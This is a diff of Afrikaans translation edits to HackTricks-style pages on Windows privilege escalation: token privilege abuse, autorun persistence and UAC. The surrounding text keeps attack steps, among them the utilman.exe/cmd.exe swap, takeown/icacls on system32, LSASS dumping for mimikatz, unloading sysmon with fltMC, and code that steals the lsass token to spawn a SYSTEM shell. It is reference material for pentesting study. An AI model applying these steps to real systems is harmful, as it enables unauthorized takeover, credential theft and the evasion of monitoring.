Alternatiewelik kan die bevoegdheid gebruik word om sekuriteitsverwante bestuurders met ftlMC ingeboude opdrag te ontlaai. d.w.z.: fltMC sysmondrv
1. Begin PowerShell/ISE met die SeRestore bevoegdheid teenwoordig. 2. Aktiveer die bevoegdheid met Enable-SeRestorePrivilege). 3. Hernoem utilman.exe na utilman.old 4. Hernoem cmd.exe na utilman.exe 5. Vergrendel die konsole en druk Win+U
|
Die aanval mag deur sommige AV sagteware opgespoor word.
Alternatiewe metode berus op die vervanging van diens binêre lêers wat in "Program Files" gestoor is met dieselfde bevoegdheid
1. takeown.exe /f "%windir%\system32" 2. icalcs.exe "%windir%\system32" /grant "%username%":F 3. Hernoem cmd.exe na utilman.exe 4. Vergrendel die konsole en druk Win+U
|
Die aanval mag deur sommige AV sagteware opgespoor word.
Alternatiewe metode berus op die vervanging van diens binêre lêers wat in "Program Files" gestoor is met dieselfde bevoegdheid.
|
| **`SeTcb`** | _**Admin**_ | 3de party gereedskap |
Manipuleer tokens om plaaslike admin regte ingesluit te hê. Mag SeImpersonate vereis.
Om geverifieer te word.
| |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
index 9c5423786..b78da2614 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
@@ -14,7 +14,7 @@ As jy **nie weet wat Windows Toegangstokens is nie**, lees hierdie bladsy voorda
### SeImpersonatePrivilege
-Dit is 'n voorreg wat deur enige proses gehou word wat die impersonasie (maar nie die skepping) van enige token toelaat, mits 'n handvatsel daarvoor verkry kan word. 'n Bevoorregte token kan van 'n Windows-diens (DCOM) verkry word deur dit te dwing om NTLM-verifikasie teen 'n exploit uit te voer, wat die uitvoering van 'n proses met SYSTEM-voorregte moontlik maak. Hierdie kwesbaarheid kan benut word met verskeie gereedskap, soos [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (wat vereis dat winrm gedeaktiveer moet wees), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) en [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
+Dit is 'n voorreg wat deur enige proses gehou word wat die verpersoonliking (maar nie die skepping) van enige token toelaat, mits 'n handvatsel daarvoor verkry kan word. 'n Bevoorregte token kan van 'n Windows-diens (DCOM) verkry word deur dit te dwing om NTLM-verifikasie teen 'n ontploffing uit te voer, wat die uitvoering van 'n proses met SYSTEM-voorregte moontlik maak. Hierdie kwesbaarheid kan benut word met verskeie gereedskap, soos [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (wat vereis dat winrm gedeaktiveer moet wees), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) en [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
@@ -27,16 +27,16 @@ Dit is 'n voorreg wat deur enige proses gehou word wat die impersonasie (maar ni
### SeAssignPrimaryPrivilege
Dit is baie soortgelyk aan **SeImpersonatePrivilege**, dit sal die **dieselfde metode** gebruik om 'n bevoorregte token te verkry.\
-Dan laat hierdie voorreg **toe om 'n primêre token** aan 'n nuwe/gesuspendeerde proses toe te ken. Met die bevoorregte impersonasie-token kan jy 'n primêre token aflei (DuplicateTokenEx).\
+Dan laat hierdie voorreg **toe om 'n primêre token** aan 'n nuwe/gesuspendeerde proses toe te ken. Met die bevoorregte verpersoonliking token kan jy 'n primêre token aflei (DuplicateTokenEx).\
Met die token kan jy 'n **nuwe proses** skep met 'CreateProcessAsUser' of 'n proses gesuspend en **die token stel** (in die algemeen kan jy nie die primêre token van 'n lopende proses verander nie).
### SeTcbPrivilege
-As jy hierdie token geaktiveer het, kan jy **KERB_S4U_LOGON** gebruik om 'n **impersonasie-token** vir enige ander gebruiker te verkry sonder om die akrediteer te ken, **voeg 'n arbitrêre groep** (admins) by die token, stel die **integriteitsvlak** van die token op "**medium**", en ken hierdie token toe aan die **huidige draad** (SetThreadToken).
+As jy hierdie token geaktiveer het, kan jy **KERB_S4U_LOGON** gebruik om 'n **verpersoonliking token** vir enige ander gebruiker te verkry sonder om die akrediteer te ken, **voeg 'n arbitrêre groep** (admins) by die token, stel die **integriteitsvlak** van die token op "**medium**", en ken hierdie token toe aan die **huidige draad** (SetThreadToken).
### SeBackupPrivilege
-Die stelsel word veroorsaak om **alle lees toegang** beheer aan enige lêer te verleen (beperk tot lees operasies) deur hierdie voorreg. Dit word gebruik vir **die lees van die wagwoord hashes van plaaslike Administrateur** rekeninge uit die registrasie, waarna gereedskap soos "**psexec**" of "**wmiexec**" met die hash gebruik kan word (Pass-the-Hash tegniek). Hierdie tegniek faal egter onder twee toestande: wanneer die Plaaslike Administrateur rekening gedeaktiveer is, of wanneer 'n beleid in plek is wat administratiewe regte van Plaaslike Administrateurs wat afstand doen, verwyder.\
+Die stelsel word gedwing om **alle lees toegang** beheer aan enige lêer (beperk tot lees operasies) deur hierdie voorreg te verleen. Dit word gebruik vir **die lees van die wagwoord hashes van plaaslike Administrateur** rekeninge uit die registrasie, waarna gereedskap soos "**psexec**" of "**wmiexec**" met die hash gebruik kan word (Pass-the-Hash tegniek). Hierdie tegniek faal egter onder twee toestande: wanneer die Plaaslike Administrateur rekening gedeaktiveer is, of wanneer 'n beleid in plek is wat administratiewe regte van Plaaslike Administrateurs wat afstand doen, verwyder.\
Jy kan **hierdie voorreg misbruik** met:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
@@ -50,17 +50,17 @@ Jy kan **hierdie voorreg misbruik** met:
### SeRestorePrivilege
-Toestemming vir **skrywe toegang** tot enige stelsellêer, ongeag die lêer se Toegang Beheer Lys (ACL), word deur hierdie voorreg verskaf. Dit bied talle moontlikhede vir verhoogde voorregte, insluitend die vermoë om **dienste te verander**, DLL Hijacking uit te voer, en **debuggers** in te stel via Beeldlêer Uitvoeringsopsies onder verskeie ander tegnieke.
+Toestemming vir **skrywe toegang** tot enige stelsellêer, ongeag die lêer se Toegang Beheer Lys (ACL), word deur hierdie voorreg verskaf. Dit bied talle moontlikhede vir verhoging, insluitend die vermoë om **dienste te verander**, DLL Hijacking uit te voer, en **debuggers** via Image File Execution Options in te stel, onder verskeie ander tegnieke.
### SeCreateTokenPrivilege
-SeCreateTokenPrivilege is 'n kragtige toestemming, veral nuttig wanneer 'n gebruiker die vermoë het om tokens te impersonate, maar ook in die afwesigheid van SeImpersonatePrivilege. Hierdie vermoë hang af van die vermoë om 'n token te impersonate wat dieselfde gebruiker verteenwoordig en wie se integriteitsvlak nie hoër is as dié van die huidige proses nie.
+SeCreateTokenPrivilege is 'n kragtige toestemming, veral nuttig wanneer 'n gebruiker die vermoë het om tokens te verpersoonlik, maar ook in die afwesigheid van SeImpersonatePrivilege. Hierdie vermoë hang af van die vermoë om 'n token te verpersoonlik wat dieselfde gebruiker verteenwoordig en wie se integriteitsvlak nie hoër is as dié van die huidige proses nie.
**Belangrike Punten:**
-- **Impersonasie sonder SeImpersonatePrivilege:** Dit is moontlik om SeCreateTokenPrivilege te benut vir EoP deur tokens onder spesifieke toestande te impersonate.
-- **Toestande vir Token Impersonasie:** Succesvolle impersonasie vereis dat die teiken token aan dieselfde gebruiker behoort en 'n integriteitsvlak het wat minder of gelyk is aan die integriteitsvlak van die proses wat impersonasie probeer.
-- **Skepping en Wysiging van Impersonasie Tokens:** Gebruikers kan 'n impersonasie-token skep en dit verbeter deur 'n bevoorregte groep se SID (Veiligheidsidentifiseerder) by te voeg.
+- **Verpersoonliking sonder SeImpersonatePrivilege:** Dit is moontlik om SeCreateTokenPrivilege vir EoP te benut deur tokens onder spesifieke toestande te verpersoonlik.
+- **Toestande vir Token Verpersoonliking:** Succesvolle verpersoonliking vereis dat die teiken token aan dieselfde gebruiker behoort en 'n integriteitsvlak het wat minder of gelyk is aan die integriteitsvlak van die proses wat verpersoonliking probeer.
+- **Skepping en Wysiging van Verpersoonliking Tokens:** Gebruikers kan 'n verpersoonliking token skep en dit verbeter deur 'n bevoorregte groep se SID (Security Identifier) by te voeg.
### SeLoadDriverPrivilege
@@ -68,14 +68,14 @@ Hierdie voorreg laat toe om **toestel bestuurders te laai en te verwyder** met d
Hierdie pad is `\Registry\User\\System\CurrentControlSet\Services\DriverName`, waar `` die Relatiewe Identifiseerder van die huidige gebruiker is. Binne `HKCU` moet hierdie hele pad geskep word, en twee waardes moet gestel word:
-- `ImagePath`, wat die pad na die binêre lêer is wat uitgevoer moet word
+- `ImagePath`, wat die pad na die binêre is wat uitgevoer moet word
- `Type`, met 'n waarde van `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Stappe om te Volg:**
1. Toegang `HKCU` eerder as `HKLM` weens beperkte skrywe toegang.
2. Skep die pad `\Registry\User\\System\CurrentControlSet\Services\DriverName` binne `HKCU`, waar `` die huidige gebruiker se Relatiewe Identifiseerder verteenwoordig.
-3. Stel die `ImagePath` op die binêre se uitvoeringspad.
+3. Stel die `ImagePath` na die binêre se uitvoeringspad.
4. Ken die `Type` toe as `SERVICE_KERNEL_DRIVER` (`0x00000001`).
```python
# Example Python code to set the registry values
@@ -92,7 +92,7 @@ Meer maniere om hierdie voorreg te misbruik in [https://www.ired.team/offensive-
### SeTakeOwnershipPrivilege
-Dit is soortgelyk aan **SeRestorePrivilege**. Die primêre funksie laat 'n proses toe om **eienaarskap van 'n objek aan te neem**, wat die vereiste vir eksplisiete diskresionêre toegang omseil deur die verskaffing van WRITE_OWNER toegangregte. Die proses behels eers die verkryging van eienaarskap van die beoogde registriesleutel vir skryfdoeleindes, en dan die verandering van die DACL om skryfoperasies toe te laat.
+Dit is soortgelyk aan **SeRestorePrivilege**. Die primêre funksie laat 'n proses toe om **eienaarskap van 'n objek aan te neem**, wat die vereiste vir eksplisiete diskresionêre toegang omseil deur die verskaffing van WRITE_OWNER toegangregte. Die proses behels eers die verkryging van eienaarskap van die beoogde registriesleutel vir skryfdoeleindes, en dan die verandering van die DACL om skryfoperasies moontlik te maak.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant :F #Now you have full access
@@ -114,7 +114,7 @@ Hierdie voorreg laat die **debug ander prosesse** toe, insluitend om in die gehe
#### Dump geheue
-Jy kan [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) van die [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) gebruik om die **geheue van 'n proses** te **vang**. Spesifiek kan dit van toepassing wees op die **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** proses, wat verantwoordelik is vir die stoor van gebruikersakkrediteer nadat 'n gebruiker suksesvol in 'n stelsel aangemeld het.
+Jy kan [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) van die [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) gebruik om die **geheue van 'n proses** te **vang**. Spesifiek kan dit van toepassing wees op die **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** proses, wat verantwoordelik is vir die stoor van gebruikersbewyse sodra 'n gebruiker suksesvol in 'n stelsel aangemeld het.
Jy kan dan hierdie dump in mimikatz laai om wagwoorde te verkry:
```
@@ -150,7 +150,7 @@ Die **tokens wat as Gestremd verskyn** kan geaktiveer word, jy kan eintlik _Geak
### Aktiveer Alle die tokens
-As jy tokens het wat gestremd is, kan jy die skrip [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) gebruik om alle tokens te aktiveer:
+As jy tokens het wat gestremd is, kan jy die skrif [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) gebruik om al die tokens te aktiveer:
```powershell
.\EnableAllTokenPrivs.ps1
whoami /priv
@@ -166,8 +166,8 @@ Volledige token bevoegdhede cheatsheet by [https://github.com/gtworek/Priv2Admin
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3de party gereedskap | _"Dit sal 'n gebruiker toelaat om tokens na te boots en privesc na nt stelsel te gebruik met gereedskap soos potato.exe, rottenpotato.exe en juicypotato.exe"_ | Dankie [Aurélien Chalot](https://twitter.com/Defte_) vir die opdatering. Ek sal probeer om dit binnekort in iets meer resep-agtig te herformuleer. |
| **`SeBackup`** | **Dreig** | _**Ingeboude opdragte**_ | Lees sensitiewe lêers met `robocopy /b` |
- Mag meer interessant wees as jy %WINDIR%\MEMORY.DMP kan lees
- SeBackupPrivilege (en robocopy) is nie nuttig wanneer dit kom by oop lêers nie.
- Robocopy vereis beide SeBackup en SeRestore om met /b parameter te werk.
|
| **`SeCreateToken`** | _**Admin**_ | 3de party gereedskap | Skep arbitrêre token insluitend plaaslike admin regte met `NtCreateToken`. | |
-| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dupliseer die `lsass.exe` token. | Skrip om te vind by [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
-| **`SeLoadDriver`** | _**Admin**_ | 3de party gereedskap |
1. Laai 'n foutiewe kern bestuurder soos szkg64.sys 2. Benut die bestuurder kwesbaarheid
Alternatiewelik kan die bevoegdheid gebruik word om sekuriteitsverwante bestuurders te ontlaai met ftlMC ingeboude opdrag. d.w.z.: fltMC sysmondrv
1. Begin PowerShell/ISE met die SeRestore bevoegdheid teenwoordig. 2. Aktiveer die bevoegdheid met Enable-SeRestorePrivilege). 3. Hernoem utilman.exe na utilman.old 4. Hernoem cmd.exe na utilman.exe 5. Vergrendel die konsole en druk Win+U
|
Die aanval mag deur sommige AV sagteware opgespoor word.
Alternatiewe metode berus op die vervanging van diens binêre lêers wat in "Program Files" gestoor is met dieselfde bevoegdheid
1. takeown.exe /f "%windir%\system32" 2. icalcs.exe "%windir%\system32" /grant "%username%":F 3. Hernoem cmd.exe na utilman.exe 4. Vergrendel die konsole en druk Win+U
|
Die aanval mag deur sommige AV sagteware opgespoor word.
Alternatiewe metode berus op die vervanging van diens binêre lêers wat in "Program Files" gestoor is met dieselfde bevoegdheid.
|
| **`SeTcb`** | _**Admin**_ | 3de party gereedskap |
Manipuleer tokens om plaaslike admin regte ingesluit te hê. Mag SeImpersonate vereis.
Om geverifieer te word.
| |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
index 81530e485..85632cbb7 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## Gids
-Alle die binaries wat in die **Startup-gidse geleë is, gaan by opstart uitgevoer word**. Die algemene opstartgidse is diegene wat hieronder gelys is, maar die opstartgids word in die registrasie aangedui. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
+Alle die binaries wat in die **Startup-gidse geleë is, gaan by opstart uitgevoer word**. Die algemene opstartgidse is diegene wat hieronder gelys is, maar die opstartgids word in die register aangedui. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@@ -38,7 +38,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
## Registrasie
> [!NOTE]
-> [Nota van hier](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Die **Wow6432Node** registrasie-invoer dui aan dat jy 'n 64-bis Windows weergawe gebruik. Die bedryfstelsel gebruik hierdie sleutel om 'n aparte weergawe van HKEY_LOCAL_MACHINE\SOFTWARE vir 32-bis toepassings wat op 64-bis Windows weergawes loop, te vertoon.
+> [Nota hier vandaan](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Die **Wow6432Node** registrasie-invoer dui aan dat jy 'n 64-bis Windows weergawe gebruik. Die bedryfstelsel gebruik hierdie sleutel om 'n aparte weergawe van HKEY_LOCAL_MACHINE\SOFTWARE vir 32-bis toepassings wat op 64-bis Windows weergawes loop, te vertoon.
### Loop
@@ -56,7 +56,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
-Registrasie sleutels bekend as **Run** en **RunOnce** is ontwerp om programme outomaties uit te voer elke keer wanneer 'n gebruiker in die stelsel aanmeld. Die opdraglyn wat as 'n sleutel se datavalue toegeken word, is beperk tot 260 karakters of minder.
+Registrasie sleutels bekend as **Run** en **RunOnce** is ontwerp om outomaties programme uit te voer elke keer wanneer 'n gebruiker in die stelsel aanmeld. Die opdraglyn wat as 'n sleutel se datavalue toegeken word, is beperk tot 260 karakters of minder.
**Diens loop** (kan outomatiese opstart van dienste tydens opstart beheer):
@@ -148,7 +148,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
Kortpaaie wat in die **Startup** gids geplaas word, sal outomaties dienste of toepassings aktiveer om te begin tydens gebruikersaanmelding of stelselhervatting. Die ligging van die **Startup** gids is in die register gedefinieer vir beide die **Local Machine** en **Current User** skope. Dit beteken enige kortpad wat by hierdie gespesifiseerde **Startup** plekke gevoeg word, sal verseker dat die gekoppelde diens of program begin na die aanmeld- of herlaai-proses, wat dit 'n eenvoudige metode maak om programme outomaties te skeduleer.
> [!NOTE]
-> As jy enige \[User] Shell Folder onder **HKLM** kan oorskryf, sal jy in staat wees om dit na 'n gids wat deur jou beheer word, te wys en 'n backdoor te plaas wat uitgevoer sal word wanneer 'n gebruiker in die stelsel aanmeld, wat voorregte sal verhoog.
+> As jy enige \[User] Shell Folder onder **HKLM** kan oorskryf, sal jy in staat wees om dit na 'n gids wat deur jou beheer word, te wys en 'n backdoor te plaas wat uitgevoer sal word wanneer 'n gebruiker in die stelsel aanmeld, wat privaathede sal verhoog.
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
@@ -201,7 +201,7 @@ Stappe om 'n opstartopsie te skep vir outomatiese begin in "Veilige Modus met Op
5. Herstel die oorspronklike lêer eienskappe: `attrib c:\boot.ini +r +s +h`
- **Exploit 1:** Die verandering van die **AlternateShell** register sleutel laat vir 'n pasgemaakte opdragskil opstelling toe, moontlik vir ongeoorloofde toegang.
-- **Exploit 2 (PATH Skryf Toestemmings):** Om skryftoestemmings te hê na enige deel van die stelsel **PATH** veranderlike, veral voor `C:\Windows\system32`, laat jou toe om 'n pasgemaakte `cmd.exe` uit te voer, wat 'n agterdeur kan wees as die stelsel in Veilige Modus begin.
+- **Exploit 2 (PATH Skryf Toestemmings):** Om skryf toestemmings te hê na enige deel van die stelsel **PATH** veranderlike, veral voor `C:\Windows\system32`, laat jou toe om 'n pasgemaakte `cmd.exe` uit te voer, wat 'n agterdeur kan wees as die stelsel in Veilige Modus begin.
- **Exploit 3 (PATH en boot.ini Skryf Toestemmings):** Skryf toegang tot `boot.ini` stel outomatiese Veilige Modus opstart in staat, wat ongeoorloofde toegang op die volgende herbegin vergemaklik.
Om die huidige **AlternateShell** instelling te kontroleer, gebruik hierdie opdragte:
@@ -230,9 +230,9 @@ Binne hierdie sleutels bestaan verskeie subsleutels, elk wat ooreenstem met 'n s
**Sekuriteitsinsigte:**
- Om 'n sleutel te wysig of na 'n sleutel te skryf waar **`IsInstalled`** op `"1"` gestel is met 'n spesifieke **`StubPath`** kan lei tot ongeoorloofde opdraguitvoering, moontlik vir privilige-escalasie.
-- Om die binêre lêer wat in enige **`StubPath`** waarde verwys, te verander kan ook privilige-escalasie bereik, gegewe voldoende toestemmings.
+- Om die binêre lêer wat in enige **`StubPath`** waarde verwys, te verander kan ook privilige-escalasie bereik, gegewe voldoende regte.
-Om die **`StubPath`** konfigurasies oor Active Setup komponente te inspekteer, kan hierdie opdragte gebruik word:
+Om die **`StubPath`** konfigurasies oor Active Setup komponente te ondersoek, kan hierdie opdragte gebruik word:
```bash
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
@@ -293,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
```
## SysInternals
-Let daarop dat al die webwerwe waar jy autoruns kan vind **reeds deur**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) gesoek is. egter, vir 'n **meer omvattende lys van outomaties uitgevoerde** lêers kan jy [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) van sysinternals gebruik:
+Let daarop dat al die webwerwe waar jy autoruns kan vind **reeds deur**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) gesoek is. egter, vir 'n **meer omvattende lys van outomaties uitgevoerde** lêers kan jy [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) van systinternals gebruik:
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index 6ee53ee10..1964fd147 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -1,6 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
-Die volgende kode **benut die privilige SeDebug en Se
+Die volgende kode **benut die privilige SeDebug en SeImpersonate** om die token van 'n **proses wat as SYSTEM loop** en met **al die token privilige** te kopieer. \
+In hierdie geval kan hierdie kode saamgestel en gebruik word as 'n **Windows diens binêre** om te kyk of dit werk.\
+Die hoofdeel van die **kode waar die verhoging plaasvind** is binne die **`Exploit`** **funksie**.\
+Binne daardie funksie kan jy sien dat die **proses **_**lsass.exe**_** gesoek word**, dan word sy **token gekopieer**, en uiteindelik word daardie token gebruik om 'n nuwe _**cmd.exe**_ te spawn met al die privilige van die gekopieerde token.
+
+**Ander prosesse** wat as SYSTEM loop met al of die meeste van die token privilige is: **services.exe**, **svhost.exe** (een van die eerste), **wininit.exe**, **csrss.exe**... (_onthou dat jy nie 'n token van 'n beskermde proses kan kopieer_). Boonop kan jy die hulpmiddel [Process Hacker](https://processhacker.sourceforge.io/downloads.php) wat as administrateur loop gebruik om die tokens van 'n proses te sien.
```c
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
#include
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
index d230fa107..3db043b66 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -5,7 +5,7 @@
### Kode
Die volgende kode van [hier](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Dit laat jou toe om **'n Proses ID as argument aan te dui** en 'n CMD **wat as die gebruiker** van die aangeduide proses loop, sal uitgevoer word.\
-Deur in 'n Hoë Integriteit proses te loop, kan jy **die PID van 'n proses wat as Stelsel loop** (soos winlogon, wininit) aan dui en 'n cmd.exe as stelsel uitvoer.
+As jy in 'n Hoë Integriteit proses loop, kan jy **die PID van 'n proses wat as Stelsel loop** (soos winlogon, wininit) aan dui en 'n cmd.exe as stelsel uitvoer.
```cpp
impersonateuser.exe 1234
```
@@ -142,7 +142,7 @@ return 0;
```
### Fout
-In sommige gevalle mag jy probeer om System na te doen en dit mag nie werk nie, wat 'n uitvoer soos die volgende toon:
+In sommige gevalle mag jy probeer om die Stelsel te verpersoonlik en dit sal nie werk nie, wat 'n uitvoer soos die volgende toon:
```cpp
[+] OpenProcess() success!
[+] OpenProcessToken() success!
@@ -158,19 +158,19 @@ Kom ons kyk na die huidige Administrateur toestemming oor `svchost.exe` prosesse
1. Kies 'n proses van `svchost.exe`
2. Regsklik --> Eienskappe
-3. Binne die "Sekuriteit" Tab klik regs onder op die knoppie "Toestemmings"
+3. Binne die "Sekuriteit" Tab klik onderaan regs op die knoppie "Toestemmings"
4. Klik op "Geavanceerd"
-5. Kies "Administrators" en klik op "Wysig"
+5. Kies "Administrateurs" en klik op "Wysig"
6. Klik op "Wys geavanceerde toestemmings"
.png>)
-Die vorige beeld bevat al die voorregte wat "Administrators" oor die geselekteerde proses het (soos jy kan sien in die geval van `svchost.exe` het hulle net "Query" voorregte)
+Die vorige beeld bevat al die voorregte wat "Administrateurs" oor die geselekteerde proses het (soos jy kan sien in die geval van `svchost.exe` het hulle net "Query" voorregte)
-Kyk na die voorregte wat "Administrators" oor `winlogon.exe` het:
+Kyk na die voorregte wat "Administrateurs" oor `winlogon.exe` het:
.png>)
-Binne daardie proses kan "Administrators" "Lees Geheue" en "Lees Toestemmings" wat waarskynlik Administrators toelaat om die token te verpersoonlik wat deur hierdie proses gebruik word.
+Binne daardie proses kan "Administrateurs" "Lees Geheue" en "Lees Toestemmings" wat waarskynlik Administrateurs toelaat om die token wat deur hierdie proses gebruik word, te verteenwoordig.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
index 18f0f3899..76b3980ff 100644
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
@@ -4,7 +4,7 @@
## UAC
-[Gebruikersrekeningbeheer (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak. Toepassings het verskillende `integriteit` vlakke, en 'n program met 'n **hoë vlak** kan take uitvoer wat **potensieel die stelsel kan kompromitteer**. Wanneer UAC geaktiveer is, loop toepassings en take altyd **onder die sekuriteitskonteks van 'n nie-administrateur rekening** tensy 'n administrateur eksplisiet hierdie toepassings/take magtig om administrateurvlak toegang tot die stelsel te hê om uit te voer. Dit is 'n gerief funksie wat administrateurs beskerm teen onbedoelde veranderinge, maar dit word nie as 'n sekuriteitsgrens beskou nie.
+[Gebruikersrekeningbeheer (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingprompt vir verhoogde aktiwiteite** moontlik maak. Toepassings het verskillende `integriteit` vlakke, en 'n program met 'n **hoë vlak** kan take uitvoer wat **potensieel die stelsel kan kompromitteer**. Wanneer UAC geaktiveer is, loop toepassings en take altyd **onder die sekuriteitskonteks van 'n nie-administrateur rekening** tensy 'n administrateur eksplisiet hierdie toepassings/take magtig om administrateurvlak toegang tot die stelsel te hê om uit te voer. Dit is 'n geriefkenmerk wat administrateurs beskerm teen onbedoelde veranderinge, maar dit word nie as 'n sekuriteitsgrens beskou nie.
Vir meer inligting oor integriteitsvlakke:
@@ -12,21 +12,21 @@ Vir meer inligting oor integriteitsvlakke:
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
-Wanneer UAC in plek is, ontvang 'n administrateur gebruiker 2 tokens: 'n standaard gebruiker sleutel, om gereelde aksies as 'n gereelde vlak uit te voer, en een met die admin voorregte.
+Wanneer UAC in plek is, ontvang 'n administrateur gebruiker 2 tokens: 'n standaard gebruiker sleutel, om gereelde aksies as 'n gereelde vlak uit te voer, en een met die admin regte.
-Hierdie [bladsy](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bespreek hoe UAC in groot diepte werk en sluit die aanmeldproses, gebruikerservaring, en UAC argitektuur in. Administrateurs kan sekuriteitsbeleide gebruik om te configureer hoe UAC spesifiek vir hul organisasie op die plaaslike vlak werk (met behulp van secpol.msc), of geconfigureer en versprei via Groep Beleidsobjekte (GPO) in 'n Aktiewe Gidsomgewing. Die verskillende instellings word in detail bespreek [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Daar is 10 Groep Beleidsinstellings wat vir UAC gestel kan word. Die volgende tabel bied addisionele besonderhede:
